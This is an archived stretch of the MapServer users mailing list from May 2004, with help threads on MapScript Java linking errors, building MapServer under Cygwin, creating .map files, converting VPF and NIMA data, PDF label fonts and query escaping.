charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Hi,

I'm working with RH 8, jakarta-tomcat-5.0.19 and MS 4.0.2. I compile MapScript with Java and generate a mapscript.jar and libmapscript.so (the last I put in /usr/local/lib). In Eclipse, I import the mapscript.jar and I try to run the Servlet below to make a test but I get a error.

###### ERROR ######

exception

javax.servlet.ServletException: Servlet execution threw an exception

root cause

java.lang.UnsatisfiedLinkError: new_mapObj
	edu.umn.gis.mapscript.mapscriptJNI.new_mapObj(Native Method)
	edu.umn.gis.mapscript.mapObj.<init>(mapObj.java:296)
	HelloServlet.doGet(HelloServlet.java:39)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:743)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:856)

####### SERVLET TO TEST ########

import? edu.umn.gis.mapscript.*;
import java.io.*;
import javax.servlet.http.*;
import javax.servlet.*;

public class HelloServlet extends HttpServlet {
? public void doGet (HttpServletRequest req,
??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?HttpServletResponse res)
??? ??? throws ServletException, IOException
? {
??? try
??? ??? ??? {
??? ??? ??? ??? System.loadLibrary("mapscript");
??? ??? ??? ??? System.err.println("Loaded the Mapscript library");
??? ??? ??? }
??? ??? ??? catch (UnsatisfiedLinkError e)
??? ??? ??? {
??? ??? ??? ??? e.printStackTrace();
??? ??? ??? }
?
? ??? // mapscript
? ??? mapObj map;
????? map = new mapObj ("/var/www/html/itasca/demo.map");
???
??? ??? PrintWriter out = res.getWriter();
??? ??? out.println("Hello, Brave new World!");
??? ??? out.close();
? }
}

Anyone can help me?

--------------020205000106000500080802-- From NamnatSR at NV.DOE.GOV Wed May 26 14:55:10 2004 From: NamnatSR at NV.DOE.GOV (Namnath, Sharyn) Date: Wed, 26 May 2004 14:55:10 -0700 Subject: [Mapserver-users] How does one create .map files? Message-ID: <89E34224EAFDD411B6AD0002A529187F207521@stl-exchpo1-nt.nv.doe.gov> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-03a45b93-616a-4e4a-a9ef-10a3f2361aa1 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C4436C.1D5364B0" Content-Transfer-Encoding: 7bit ------_=_NextPart_001_01C4436C.1D5364B0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Ok, I am so green at this I practically qualify as plant life... I got through a few good tutorials and didn't die.. but now I am going to try to use my own (well, ok, ESRI's) shapefiles and data. But how does one go about creating .map files? By hand? Is there a utility? Also, I just got some NIMA files which is part of the actual data that I'll be using. There are also ADRG, CADRG, CIB, & DTED files that I will have to contend with. Are there utilities out there for an easy conversion to shapefiles? I will be receiving 3.5 Terabytes worth of data. I would hate to have to create each .map file by hand... Thanks in advance for any help anyone can offer. - sharyn ------_=_NextPart_001_01C4436C.1D5364B0 Content-Type: text/html Content-Transfer-Encoding: 7bit

Ok, I am so green at this I practically qualify as plant life... I got through a few good tutorials and didn't die.. but now I am going to try to use my own (well, ok, ESRI's) shapefiles and data.  But how does one go about creating .map files?  By hand?  Is there a utility?   Also, I just got some NIMA files which is part of the actual data that I'll be using.   There are also ADRG, CADRG, CIB, & DTED files that I will have to contend with.  Are there utilities out there for an easy conversion to shapefiles?  I will be receiving 3.5 Terabytes worth of data.  I would hate to have to create each .map file by hand...

 

Thanks in advance for any help anyone can offer.

 

- sharyn

------_=_NextPart_001_01C4436C.1D5364B0-- ------=_NextPartTM-000-03a45b93-616a-4e4a-a9ef-10a3f2361aa1-- From deathsushi at hotmail.com Wed May 26 15:12:15 2004 From: deathsushi at hotmail.com (Adam Quiney) Date: Wed, 26 May 2004 22:12:15 +0000 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/lib Message-ID: I have downloaded both the gd and the gd-devel packages. I also tried cleaning my drive of Cygwin and any installed services, restarting, then re-installing everything. I run into the same old problem. I can locate both gd.h and libgd.a on my drive (though in different directories, gd.h now resides in /usr/include and libgd.a resides in /lib - this is how the cygwin installed it did things), but mapserver's configure script still refuses to recognize that they are there. I have made certain that there is only one instance of both these files, so I don't believe it's a problem with multiple versions. What else can I do to make mapserver see the light? --Adam >From: Tyler Mitchell >To: "Adam Quiney" >CC: lordadam at uvic.ca, mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] Configure: Same old error - can't find gd.h >or libgd.a/libgd.so >Date: Wed, 26 May 2004 11:33:03 -0700 > >You will need gd and gd-devel packages - got those already? >In case you are not aware, you do not need to use cygwin to run mapserver >on windows. Unless you have a particular reason for doing so, I would >suggest that it is a waste of time when windows binaries are readily >available for download and almost immediate use. > >Tyler > >mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 10:46:47 AM: > > > Hi All, > > > > I've looked through the archives and the FAQ and tried the solutions > > presented, but to no avail. > > > > I am trying to install Mapserver 4.0.2 on Cygwin (running under Windows > > 2000). > > > > Please let me know if there is anything else I should be trying to do - >I'm > > running out of hair to tear out of my head. > > > > Here is the output from configure.sh when run: > > > > ... Everything running fine above here ... > > > > checking for strcasecmp... yes > > checking for strncasecmp... yes > > checking for strdup... yes > > configure: checking whether we should include JPEG support...... > > checking for jpeg_read_header in -ljpeg... no > > libjpeg not found. JPEG support not included, possibly needed >for > > GD. > > configure: checking where FreeType 2.x is installed...... > > using libfreetype from -lfreetype -lz > > checking for FT_Init_FreeType in -lfreetype... no > > using libfreetype -lfreetype -lz from system libs. > > configure: checking where Zlib is installed...... > > using libz from -L/lib -lz > > configure: checking where PNG is installed...... > > checking for png_init_io in -lpng... no > > PNG (libpng) library cannot be found, possibly needed for GD > > configure: checking where libXpm is installed...... > > checking for XpmFreeXpmImage in -lXpm... no > > XPM (libXpm) library cannot be found, possibly needed for GD > > configure: checking where libiconv is installed...... > > checking for libiconv_open in -liconv... no > > libiconv library cannot be found, possibly needed for GD > > configure: checking for GD 2.0.12 or higher...... > > checking for gdImageSetAntiAliased in -lgd... no > > configure: error: "Could not find gd.h or libgd.a/libgd.so in >/usr/local/. > > Make > > sure GD 2.0.12 or higher is compiled before calling configure." > > > > I have tried running "./configure --with-gd=/usr/local", as well as with > > > /usr/local/lib (the location of the libgd.a file) and /usr/local/include > > > (the location of the gd.h file). > > > > I have looked through for duplicates of these files, but cannot find any > > > others residing on the disk. > > > > --Adam > > > > _________________________________________________________________ > > STOP MORE SPAM with the new MSN 8 and get 2 months FREE* > > http://join.msn.com/?page=features/junkmail > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From TMitchell at lignum.com Wed May 26 15:22:14 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 15:22:14 -0700 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: <89E34224EAFDD411B6AD0002A529187F207521@stl-exchpo1-nt.nv.doe.gov> Message-ID: Plants are welcome on this list... :) Many typically take an existing .map file and start pulling out stuff and sticking in their own stuff. Use a basic text editor like Notepad should be fine. I can't speak too much to your data format question, but MapServer can read numerous (dozens) of different raster and vector formats. It uses some behind-the-scenes capabilities of a library called GDAL/OGR for reading raster and vector data. GDAL currently supports DTED, but does not appear to _directly_ support the others you mentioned. See: http://remotesensing.org/pipermail/gdal-dev/2003-September/001057.html Any format that OGR can read in, can (more or less?) be exported into Shapefiles using the ogr2ogr utility. I'd highly recommend getting some sample data first and getting comfy :) Keep up the questions as your progress and we'll help you out. You'd really benefit from attending the MapServer Users Conference in Ottawa, June 9-11th. The MapServer 101 workshop would be right up your alley! mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 02:55:10 PM: > Ok, I am so green at this I practically qualify as plant life... I > got through a few good tutorials and didn't die.. but now I am going > to try to use my own (well, ok, ESRI's) shapefiles and data. But > how does one go about creating .map files? By hand? Is there a > utility? Also, I just got some NIMA files which is part of the > actual data that I'll be using. There are also ADRG, CADRG, CIB, & > DTED files that I will have to contend with. Are there utilities > out there for an easy conversion to shapefiles? I will be receiving > 3.5 Terabytes worth of data. I would hate to have to create each . > map file by hand... > > Thanks in advance for any help anyone can offer. > > - sharyn From TMitchell at lignum.com Wed May 26 15:27:04 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 15:27:04 -0700 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/libgd.so In-Reply-To: <200405261926.i4QJQi5P053500@mailhost.tfm.com> Message-ID: > Hi. I'm new to this list, and subscribed at this time specifically because > of the same issue. The original poster stated that gd.h and libgd.a were > installed already. This looks like an autoconf problem to me. > Configure bombs in > the exact same place on FreeBSD 5.1. I've not spent much time on it other than > running autoconf in case the distributed configure script was broken. You get the same behaviour on FreeBSD then? At least I can't tell YOU to try the binaries :) There is a bug reporting tool you could/should probably use and see if others can trace this for you. I don't see any bug entries that have "gd.h" in them. http://mapserver.gis.umn.edu/bugs/index.cgi From TMitchell at lignum.com Wed May 26 15:29:25 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 15:29:25 -0700 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/lib In-Reply-To: Message-ID: > both gd.h and libgd.a on my drive (though in different directories, gd.h now > resides in /usr/include and libgd.a resides in /lib - this is how the cygwin Perhaps run: ./configure --includedir=/usr/include --libdir=/lib ????? From brian at entropy.net Wed May 26 15:43:56 2004 From: brian at entropy.net (Brian Russo) Date: Wed, 26 May 2004 18:43:56 -0400 Subject: [Mapserver-users] nimamuse vpf importer OR ogr2ogr for win32 w/vpf Message-ID: <20040526224356.GC8467@badfish.securityminded.net> Anyone know where I can get either: the original nimamuse vpf importer. or (preferably) a binary of ogr2ogr (and its friends) for win32 that has support for vpf? I've grabbed the latest openev, but it doesn't seem to have ogr2ogr, and the one copy of gdal I grabbed off vterrain.org doesn't have vpf support (only shp, tab, tiger). All I really want is something that will (batch) convert vmap0/vmap1 to shp or some other more usable format. I don't care if it involves getting hands dirty. - bri -- Recursivity. Call back if it happens again. From mike.merrett at city.whitehorse.yk.ca Wed May 26 15:57:46 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Wed, 26 May 2004 15:57:46 -0700 Subject: [Mapserver-users] nimamuse vpf importer OR ogr2ogr for win32 w/vpf Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEED5@DUKE.city.whitehorse.yk.ca> for openev try http://openev.sourceforge.net -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Brian Russo Sent: May 26, 2004 3:44 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] nimamuse vpf importer OR ogr2ogr for win32 w/vpf Anyone know where I can get either: the original nimamuse vpf importer. or (preferably) a binary of ogr2ogr (and its friends) for win32 that has support for vpf? I've grabbed the latest openev, but it doesn't seem to have ogr2ogr, and the one copy of gdal I grabbed off vterrain.org doesn't have vpf support (only shp, tab, tiger). All I really want is something that will (batch) convert vmap0/vmap1 to shp or some other more usable format. I don't care if it involves getting hands dirty. - bri -- Recursivity. Call back if it happens again. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eduardo at consultoria.eti.br Wed May 26 15:59:34 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 26 May 2004 19:59:34 -0300 Subject: [Mapserver-users] A cross-browser mapserver demo Message-ID: <20040526225934.15042.qmail@hm47.locaweb.com.br> does anybody know a MapServer application using resources from Cross-Browser ? ( www.cross-browser.com ) regards Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From deathsushi at hotmail.com Wed May 26 16:14:52 2004 From: deathsushi at hotmail.com (Adam Quiney) Date: Wed, 26 May 2004 23:14:52 +0000 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/lib - Further Elaboratio Message-ID: With regards to my previous question, looking through my config.log file, I noticed the following: >configure:4774: checking for GD 2.0.12 or higher...... >configure:4818: checking for gdImageSetAntiAliased in -lgd >configure:4818: checking for gdImageSetAntiAliased in -lgd >configure:4849: gcc -o conftest.exe -g -O2 conftest.c -lgd -lfreetype >-lz -L/ >lib -lpng -L/lib -lz -L/usr/local/lib -lm >&5 >/usr/lib/gcc-lib/i686-pc-cygwin/3.3.1/../../../../i686-pc-cygwin/bin/ld: >cannot >find -lfreetype > > >------------- POTENTIAL REASON FOR FAILURE CONTAINED IN LINE ABOVE? >---------------------- > >collect2: ld returned 1 exit status >configure:4852: $? = 1 >configure: failed program was: >| #line 4825 "configure" >| /* confdefs.h. */ >| >| #define PACKAGE_NAME "" >| #define PACKAGE_TARNAME "" >| #define PACKAGE_VERSION "" >| #define PACKAGE_STRING "" >| #define PACKAGE_BUGREPORT "" >| #ifdef __cplusplus >| #include >| #endif >| #define STDC_HEADERS 1 >| /* end confdefs.h. */ >| >| /* Override any gcc2 internal prototype to avoid an error. */ >| #ifdef __cplusplus >| extern "C" >| #endif >| /* We use char because int might match the return type of a gcc2 >| builtin and then its argument prototype would still apply. */ >| char gdImageSetAntiAliased (); >| int >| main () >| { >| ; >| return 0; >| } >configure:4870: result: no >configure:4971: error: "Could not find gd.h or libgd.a/libgd.so in >/usr/local. >Make sure GD 2.0.12 or higher is compiled before calling configure." > >Does this indicate that the problem isn't in fact that I'm missing the two >gd files, but instead the freetype file (or rather that it just can't find >them)? > >If so, does anyone know why? > >--Adam _________________________________________________________________ MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. http://join.msn.com/?page=features/virus From gerry.creager at tamu.edu Wed May 26 17:13:38 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Wed, 26 May 2004 19:13:38 -0500 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: References: Message-ID: <40B532B2.5050501@tamu.edu> I've grown really fond of starting with QGIS and letting it export a .map file for me. It's almost never perfect, but it's a start. Gerry Tyler Mitchell wrote: > Plants are welcome on this list... :) > Many typically take an existing .map file and start pulling out stuff and > sticking in their own stuff. Use a basic text editor like Notepad should > be fine. I can't speak too much to your data format question, but > MapServer can read numerous (dozens) of different raster and vector > formats. It uses some behind-the-scenes capabilities of a library called > GDAL/OGR for reading raster and vector data. GDAL currently supports > DTED, but does not appear to _directly_ support the others you mentioned. > > See: > http://remotesensing.org/pipermail/gdal-dev/2003-September/001057.html > > Any format that OGR can read in, can (more or less?) be exported into > Shapefiles using the ogr2ogr utility. I'd highly recommend getting some > sample data first and getting comfy :) > > Keep up the questions as your progress and we'll help you out. > > You'd really benefit from attending the MapServer Users Conference in > Ottawa, June 9-11th. The MapServer 101 workshop would be right up your > alley! > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 02:55:10 PM: > > >>Ok, I am so green at this I practically qualify as plant life... I >>got through a few good tutorials and didn't die.. but now I am going >>to try to use my own (well, ok, ESRI's) shapefiles and data. But >>how does one go about creating .map files? By hand? Is there a >>utility? Also, I just got some NIMA files which is part of the >>actual data that I'll be using. There are also ADRG, CADRG, CIB, & >>DTED files that I will have to contend with. Are there utilities >>out there for an easy conversion to shapefiles? I will be receiving >>3.5 Terabytes worth of data. I would hate to have to create each . >>map file by hand... >> >>Thanks in advance for any help anyone can offer. >> >>- sharyn > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From nhv at cape.com Wed May 26 17:43:02 2004 From: nhv at cape.com (Norman Vine) Date: Wed, 26 May 2004 20:43:02 -0400 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/lib - Further Elaboratio In-Reply-To: Message-ID: Adam Quiney writes: > > With regards to my previous question, looking through my config.log file, I > noticed the following: > >/usr/lib/gcc-lib/i686-pc-cygwin/3.3.1/../../../../i686-pc-cygwin/bin/ld: > >cannot find -lfreetype Have you installed the Cygwin freetype development package ? Norman From zak-ms at hoppsan.org Wed May 26 17:56:23 2004 From: zak-ms at hoppsan.org (Zak James) Date: Wed, 26 May 2004 20:56:23 -0400 Subject: [Mapserver-users] virtual spatial data In-Reply-To: References: Message-ID: Jenu, Chip: If it works with ogrinfo, our experience is that either the mapserver binary is too old as Daniel says, or the ODBC connection is expecting some environment variables to be available that are present when running ogrinfo but absent from within the webserver process. Other users on the list may have more to contribute, but I haven't tested with either IIS or MS SQL Server so you are right on the bleeding edge. Since ogrinfo is working there must be only a minor (though fatal!) problem. Is your ODBC DSN a System DSN? User DSNs don't work. If you can set the CPL_DEBUG environment variable to ON, OGR will provide you with more information about what is succeeding and what is failing. I'm only familiar with doing that via apache, however. Is it possible for either of you to test using different ODBC drivers (perhaps to a different db) or different webserver? The text file ODBC driver is a good one to try on Windows as it definitely doesn't require environment variables and is easy to set up. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca > This is an interesting problem... I'm getting the same error with my > setup: > > msDrawMap(): Image handling error. Failed to draw layer named > 'MyVirtualLayer'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `D:/inetpub/wwwroot/MapServer/PointTest/data/virtual.ovf'. File not > found or unsupported format. > > I downloaded the latest(?) beta from the MS site: MS 4.2b, and it is > still giving me the same error. I too have done all of the appropriate > checks with ogrinfo. > > Outgoing messages, along with any attachments, are scanned for viruses > at RMT prior to sending. > ----------------------------------------------------------------------- > ------- > NOTICE--This email may contain confidential and privileged information > for the sole use of the intended recipient. Any review or distribution > by others is strictly prohibited. If you are not the intended > recipient, > please contact the sender immediately and delete all copies. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jdenisgiguere at fastmail.fm Wed May 26 18:19:11 2004 From: jdenisgiguere at fastmail.fm (Jean-Denis Giguere) Date: Wed, 26 May 2004 21:19:11 -0400 Subject: [Mapserver-users] multiple symbols in the same class In-Reply-To: <20040526212757.13125.qmail@hm47.locaweb.com.br> References: <20040526212757.13125.qmail@hm47.locaweb.com.br> Message-ID: <40B5420F.3060602@fastmail.fm> This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig8ED2F4B6DBB6FB66B589899C Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Eduardo Patto Kanegae wrote: > is there a way to define 2 symbologies for the same class, of the same layer, inside a CGI mapserver application without creation two layers with the same name? > > I mean, I wanna use a vector SYMBOL from the scale 1:250000 to 1:10000 and from 1:9999 to 1:1000 I want to use a PIXMAP symbol. You can specify the minimal and maximal scale for a class with MINSCALE and MAXSCALE. The syntax seems to be the same as for layer. I use this to specify when display primary and secondary elements of a layer. Maybye it is possible to specify different style for each class. Hope this can help, Jean-Denis > > thanks > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > ***Fim da Mensagem / End of Message *** > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --------------enig8ED2F4B6DBB6FB66B589899C Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAtUIUmQkurNcFNt4RAlrsAJ9ksOVM1k4/3Xh9Ac63bfBN61GFIwCdGeNk l/xn7ydE9TXOg710iUFI4PQ= =DP4E -----END PGP SIGNATURE----- --------------enig8ED2F4B6DBB6FB66B589899C-- From sgd at tfm.com Wed May 26 18:56:43 2004 From: sgd at tfm.com (Stephen Diercouff) Date: Wed, 26 May 2004 18:56:43 -0700 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/lib - Further Elaboratio In-Reply-To: Your message of "Wed, 26 May 2004 23:14:52 -0000." Message-ID: <200405270156.i4R1uh5P076257@mailhost.tfm.com> > With regards to my previous question, looking through my config.log file, I > noticed the following: > > >configure:4774: checking for GD 2.0.12 or higher...... > >configure:4818: checking for gdImageSetAntiAliased in -lgd > >configure:4818: checking for gdImageSetAntiAliased in -lgd > >configure:4849: gcc -o conftest.exe -g -O2 conftest.c -lgd -lfreetype > >-lz -L/ > >lib -lpng -L/lib -lz -L/usr/local/lib -lm >&5 > >/usr/lib/gcc-lib/i686-pc-cygwin/3.3.1/../../../../i686-pc-cygwin/bin/ld: > >cannot > >find -lfreetype In my case the error had nothing to do with what was being reported by configure. libgd.so had some external symbol references that were not defined elsewhere. I had told configure to link statically and it claimed to be doing so but it was still extracting the symbol table from the shared library. I renamed the shared library to work around this and then the build proceeded normally. There is definitely something not right with config.in. I'm going to spend some more time on it later on and then report the bug (hopefully with a fix). It appears that on your system configure thinks you've installed freetype in one of the standard library locations but it cannot find it when compiling the gd test program. Either you don't have freetype installed or it's in a non-standard location. I know nothing of windows or cygwin so I could not say what the standard location for the library would be. BTW, if basic installation problems are outside the scope of this list please let me know and I'll not make similar posts in the future. --Stephen From ed at topozone.com Wed May 26 18:57:35 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 26 May 2004 21:57:35 -0400 Subject: [Mapserver-users] How does one create .map files? Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB076F79@ptolemy.topozone.com> Sharyn - For several years now I've been using the C preprocessor to take "template" MAP files and do #includes, macro expansion, etc. It's pretty convenient if you need to either generate lots of MAP files or lots of layers in a MAP file. We've got around 150+ MAP files, around 60 or 70 layers, and nearly 350,000 source data files, and it is a good way to keep things organized. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Namnath, Sharyn Sent: Wednesday, May 26, 2004 5:55 PM To: 'mapserver-users at lists.gis.umn.edu' Subject: [Mapserver-users] How does one create .map files? Ok, I am so green at this I practically qualify as plant life... I got through a few good tutorials and didn't die.. but now I am going to try to use my own (well, ok, ESRI's) shapefiles and data. But how does one go about creating .map files? By hand? Is there a utility? Also, I just got some NIMA files which is part of the actual data that I'll be using. There are also ADRG, CADRG, CIB, & DTED files that I will have to contend with. Are there utilities out there for an easy conversion to shapefiles? I will be receiving 3.5 Terabytes worth of data. I would hate to have to create each .map file by hand... Thanks in advance for any help anyone can offer. - sharyn From dmorissette at dmsolutions.ca Wed May 26 18:57:34 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 26 May 2004 21:57:34 -0400 Subject: [Mapserver-users] pipermail from dm solutions is down? In-Reply-To: <20040526172306.14708.qmail@hm47.locaweb.com.br> References: <20040526172306.14708.qmail@hm47.locaweb.com.br> Message-ID: <40B54B0E.3020509@dmsolutions.ca> Eduardo Patto Kanegae wrote: > I follow up the item http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide and found the links: > http://lists.dmsolutions.ca/pipermail/mapserver-users/2002-November/042854.html > http://lists.dmsolutions.ca/pipermail/mapserver-users/2002-October/042386.html > > but i'm getting "page not found" error. > I'm not sure what happened with the archive, but I can't seem to track the messages that the wiki was referring to. Instead you can find information about the outputformat directive at http://mapserver.gis.umn.edu/doc/mapfile-reference.html#outputformat I have changed the links in the wiki. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Antti.Roppola at brs.gov.au Wed May 26 22:30:22 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Thu, 27 May 2004 15:30:22 +1000 Subject: [Mapserver-users] Text labels do not appear in PDF output Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A086F8@afeb-ms-02> Dear all, Explicitly including label fonts (using FreeType) works in PDF renders. Embedding the font is a pain though, as it doubles the size of the page. It doesn't seem like I can use Type 1 fonts. This is annoying since PDF readers don't need to have Type 1 fonts included in documents. Cheers, Antti -----Original Message----- From: Antti.Roppola at brs.gov.au [mailto:Antti.Roppola at brs.gov.au] Sent: Wednesday, 26 May 2004 4:29 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Text labels do not appear in PDF output Hello all, I am generating PDF maps using Mapserver (CGI 4.0.1 with libpdf and freetype built in. Town names appear correctly on the PNG output, but do not appear at all on the PDF output. The point markers do appear.. I am not using True Type fonts, or any kind of font declarations at all for that matter (just size and colour). Any hints on how to get labels working in PDF? Do I need to explicitly use fonts or something? (that's my next test) Thanks, Antti _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From kv4k at yahoo.com Wed May 26 22:46:10 2004 From: kv4k at yahoo.com (Ray) Date: Wed, 26 May 2004 22:46:10 -0700 (PDT) Subject: [Mapserver-users] URL map request yields map sans details at digital earth.gov Message-ID: <20040527054610.30937.qmail@web21321.mail.yahoo.com> Anyone have a hint for me as to why this request gives a map with only the outline of the water, a road or two and no labels? Thank you for any insight or direction. http://globe.digitalearth.gov/viz-bin/wmt.cgi?version=1.1.1&request=GetMap&styles=&srs=EPSG:4326&bbox=-123.182239250962,47.3243184088542,-122.366434251642,47.6811828932292&width=1010&height=654&format=gif&transparent=true&layers=COASTLINES,NATIONAL,STATE,RIVERS,RAILS,CITY_NAMES,COUNTY,ROADS,WATERSHEDS,URBAN_EXTENTS __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From jacob.delfos at maunsell.com Wed May 26 23:06:52 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Thu, 27 May 2004 16:06:52 +1000 Subject: [Mapserver-users] URL map request yields map sans details at digital earth.gov Message-ID: I get solid polygons, and quite a few lines. I don't get outlined polygons. Are you labels white, by any chance? -----Original Message----- From: Ray [mailto:kv4k at yahoo.com] Sent: Thursday, 27 May 2004 1:46 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] URL map request yields map sans details at digital earth.gov Anyone have a hint for me as to why this request gives a map with only the outline of the water, a road or two and no labels? Thank you for any insight or direction. http://globe.digitalearth.gov/viz-bin/wmt.cgi?version=1.1.1&request=GetMap&s tyles=&srs=EPSG:4326&bbox=-123.182239250962,47.3243184088542,-122.3664342516 42,47.6811828932292&width=1010&height=654&format=gif&transparent=true&layers =COASTLINES,NATIONAL,STATE,RIVERS,RAILS,CITY_NAMES,COUNTY,ROADS,WATERSHEDS,U RBAN_EXTENTS __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde at xs4all.nl Thu May 27 00:09:20 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Thu, 27 May 2004 09:09:20 +0200 Subject: [Mapserver-users] Roadmap Message-ID: Hi list, October 2003 there was a start on the Mapserver roadmap on the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?Roadmap41Draft1 Is anybody updating this list for 4.3/4.4? Are there planned features already? Best regards, Bart From gheysen.t at skynet.be Thu May 27 02:56:10 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Thu, 27 May 2004 11:56:10 +0200 Subject: [Mapserver-users] French caracters in querybyattributes Message-ID: <200405270956.i4R9uAS9013012@outmx012.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hello, I have try it but I always have the same problem. Is it still a problem with font encoding on the dbf file ? the ' is the string delimiter for sql, you shuld escape it like : \"Braine l'Alleud\". Try it LALO El mi??, 26-05-2004 a las 05:13, gheysen.t at skynet.be escribi??: > Hello, > > I have hade some problems with french caracters. > First when I read the results of a query this caracters are not > correct. I have solve this problem by modify the fonts encoding to > ISO-8859-1. Thus, now, I can make a query and read the results > correctly. > But, I always have a problem with the caracter '. I make a query to > find the town \"Braine l'Alleud\" and I always have no records. I have > try with string comparaison et regular mapserver expression but it > always the same problem. > > Thanks, > Gheysen Thibaut -- Eduardo Spremolla Antel I+D -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hello,

I have try it but I always have the same problem.
Is it still a problem with font encoding on the dbf file ?


the ' is the string delimiter for sql, you shuld escape it like :
"Braine l'Alleud". Try it

LALO


El mi??, 26-05-2004 a las 05:13, gheysen.t at skynet.be escribi??:
> Hello,
>
> I have hade some problems with french caracters.
> First when I read the results of a query this caracters are not
> correct. I have solve this problem by modify the fonts encoding to
> ISO-8859-1. Thus, now, I can make a query and read the results
> correctly.
> But, I always have a problem with the caracter '. I make a query to
> find the town "Braine l'Alleud" and I always have no records. I have
> try with string comparaison et regular mapserver expression but it
> always the same problem.
>
> Thanks,
> Gheysen Thibaut
--
Eduardo Spremolla
